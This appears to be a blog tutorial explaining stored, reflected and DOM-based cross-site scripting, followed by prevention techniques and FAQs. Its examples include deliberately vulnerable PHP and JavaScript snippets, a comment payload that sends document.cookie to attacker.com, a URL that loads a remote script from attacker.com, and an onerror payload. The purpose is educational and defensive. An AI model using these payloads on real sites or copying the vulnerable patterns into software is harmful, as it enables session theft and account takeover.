What is XSS (Cross-Site Scripting)? Real Examples, Attack Types, and Prevention (2026)

What is XSS (Cross-Site Scripting)? Real Examples, Attack Types, and Prevention (2026)

What is XSS (Cross-Site Scripting)? Real Examples, Attack Types, and Prevention (2026)

Cross-site scripting XSS web security vulnerability

Cross-Site Scripting (XSS) is one of the most common and dangerous web vulnerabilities. It allows attackers to inject malicious scripts into web pages, which then execute in the browser of unsuspecting users — without their knowledge or permission.

The first time I successfully triggered an XSS payload in a PortSwigger lab, I understood why developers fear this vulnerability so much. Seeing JavaScript execute inside a trusted website’s context completely changed how I thought about browser security.

What makes XSS particularly dangerous is that it exploits trust. Users trust the website they're visiting, not knowing that malicious code is running in their browser. This trust can be weaponized to steal session cookies, redirect to phishing pages, log keystrokes, or take over user accounts.

This guide explains XSS step by step with real, working examples of stored XSS, reflected XSS, and DOM-based XSS attacks — plus concrete prevention techniques you can implement today.

What this guide covers:
  1. What is XSS (Cross-Site Scripting)?
  2. How XSS attacks actually work
  3. Stored XSS: Real comment example
  4. Reflected XSS: Real search example
  5. DOM-based XSS: Real fragment example
  6. Impact of XSS in real applications
  7. Complete prevention techniques
  8. XSS FAQ for developers

What is XSS (Cross-Site Scripting)?

XSS (Cross-Site Scripting) is a client-side injection attack where attackers inject malicious JavaScript into trusted websites. When users visit the affected page, the script runs in their browser without their knowledge.

⚠️

Why XSS is Dangerous

Security Principle

XSS exploits trust. The user trusts the website they're on, not the attacker's injected script. Because the script runs with the same permissions as legitimate site code, it can access cookies, perform actions as the logged-in user, and exfiltrate sensitive data.

Key danger:

The attacker's code runs in the victim's browser, in the context of the trusted website. This is why XSS is so effective for session hijacking, phishing, and account takeover.

How XSS Attacks Actually Work

XSS follows a simple but devastating pipeline:

  1. Attacker sends untrusted data to the application (via form, URL, comment, etc.)
  2. Application fails to validate or encode the input properly
  3. Malicious script is stored or reflected back to the page
  4. Victim loads the page, and the script executes in their browser
  5. Attacker steals session cookies, redirects to phishing, logs keystrokes, or takes over the account

The Three Types of XSS

💾

Stored XSS (Most Dangerous)

Permanent Attack

The malicious script is permanently saved (usually in a database) and then served to any user who views the affected page. This affects ALL users who visit that page — comments, posts, profile fields, blogs. One attack can compromise thousands of users.

↔️

Reflected XSS (Common)

Temporary Attack

The script is reflected in the response via the URL or form field (e.g., search, error, redirect). It only affects users who click the crafted link. Common in phishing emails where attackers trick users into clicking malicious links.

🔧

DOM-based XSS (Hard to Detect)

Client-side Attack

The vulnerability exists purely in JavaScript on the client side (e.g., code that reads location.hash or query parameters). The server sees "clean" HTML, but the browser's DOM manipulates user-controlled values without sanitization. This is the hardest to detect.

Stored XSS: Real Comment Example

Imagine a blog that lets users comment and fails to encode HTML output:

Vulnerable code (PHP):
<div class="comment">
  <strong>User:</strong> 
  <span id="comment"><?= $user_comment ?></span>
</div>

An attacker submits this comment:

<script>
  var img = new Image();
  img.src = 'http://attacker.com?cookie=' + document.cookie;
</script>

Now every user who loads the page sends their session cookie to the attacker. The attacker logs in as that user with full account access.

Result: The attacker now controls multiple user accounts and can impersonate them, steal their data, or perform unauthorized actions.

Reflected XSS: Real Search Example

A search page directly echoes the query parameter back:

<h3>Search results for: <?= $_GET['q'] ?></h3>

An attacker crafts a malicious URL:

https://site.com/search?q=<script src="https://attacker.com/xss.js"></script>

They send this link in a phishing email: "Click here to see what people are saying about you!" When a user clicks, the attacker's script loads and:

  • Shows a fake login form to steal credentials
  • Redirects to a malicious site
  • Records keystrokes
  • Steals cookies and performs actions as the user

DOM-based XSS: Real Fragment Example

Client-side code that dangerously uses location.hash:

document.getElementById('content').innerHTML = location.hash.substring(1);

An attacker sends:

https://site.com/page#<img src=x onerror=alert('XSS')>

The browser reads the fragment and injects it into the DOM, executing the code. This is dangerous because it never touches the server — making it harder for developers and security tools to detect.

Real-World Impact of XSS

🚩 What Attackers Can Do

  • Session hijacking: Script steals document.cookie and sends it to attacker, allowing full account access
  • Account takeover: Attacker hijacks session tokens and performs actions as the user
  • Data theft: Background script records keystrokes, form inputs, screenshots, and exfiltrates them
  • Phishing inside trusted sites: Overlay fake login modals on the real page to trick users into entering credentials
  • Malware distribution: Redirect users to sites hosting malware or exploit kits
XSS is not "just an alert()": In production, it often leads to full account takeover, internal data leaks, and even server-side pivots when combined with other vulnerabilities. Never underestimate XSS severity.

How to Prevent XSS (2026 Best Practices)

✅ Prevention Techniques

  • Output encoding: Always encode user input before rendering in HTML, attributes, or JavaScript. Use context-appropriate encoding (HTML, URL, JavaScript, CSS).
  • Use frameworks: React, Angular, and Vue automatically escape values by default. Leverage this protection.
  • Content Security Policy (CSP): Restrict execution of inline scripts and limit script sources to trusted domains.
  • HttpOnly cookies: Prevent JavaScript from accessing session cookies. This blocks most XSS-based session theft.
  • Input validation: Reject malicious input patterns early and validate against expected formats.
  • Avoid innerHTML: Use safe DOM APIs like textContent instead of innerHTML. Never use innerHTML with user data.
  • Use a template engine: Modern template engines provide auto-escaping by default.

Quick XSS Prevention Checklist

Before shipping code:
  • ✅ Escape all output in templates
  • ✅ Enable CSP headers in your application
  • ✅ Set HttpOnly + Secure flags on cookies
  • ✅ Sanitize user input where needed
  • ✅ Use modern frameworks with auto-escaping
  • ✅ Test with common XSS payloads

Conclusion

XSS remains one of the most common web vulnerabilities because it's easy to introduce and hard to find without proper testing. However, it's completely preventable if you understand the attack and implement proper protections. The key is controlling how data flows from user input → server → browser. If you encode properly and restrict script execution, most XSS attacks fail instantly.

About the Author

Amardeep Maroli

MCA student and cybersecurity researcher from Kerala, India. I focus on understanding vulnerabilities from first principles and teaching them clearly. This blog is my learning journal — documenting real security research, attacks, and defenses.

XSS (Cross-Site Scripting) — FAQs

What is XSS in simple terms?
XSS is a vulnerability where attackers inject malicious scripts into a website that run in a user's browser. Because the script runs with the website's trust, it can steal cookies, impersonate the user, or redirect them to malicious sites. It's like someone sneaking malicious instructions into a trusted website.
What is the most dangerous type of XSS?
Stored XSS is the most dangerous because it affects all users who visit the infected page. Unlike reflected XSS (which requires users to click a link), stored XSS attacks users passively — just by visiting the page. One successful stored XSS can compromise thousands of users.
How do developers prevent XSS?
By encoding output (escaping HTML entities), using modern frameworks that auto-escape values, implementing Content Security Policy headers, and setting HttpOnly flags on cookies. The most effective method is output encoding — converting user input into safe text before displaying it in HTML.
Is XSS still common in 2026?
Yes. XSS remains one of the top web vulnerabilities despite being well-understood. It's common because developers sometimes forget to encode output, bypass frameworks' protections, or use dangerous APIs like innerHTML. It's also easy to introduce accidentally but hard to find without proper testing.
Can XSS lead to server-side compromise?
Not directly — XSS is a client-side attack. However, XSS can be a stepping stone to server compromise. For example, an attacker can steal an admin's session via XSS, then use that admin access to upload files or execute code on the server. This is why XSS is taken seriously even though it's "just JavaScript."

Comments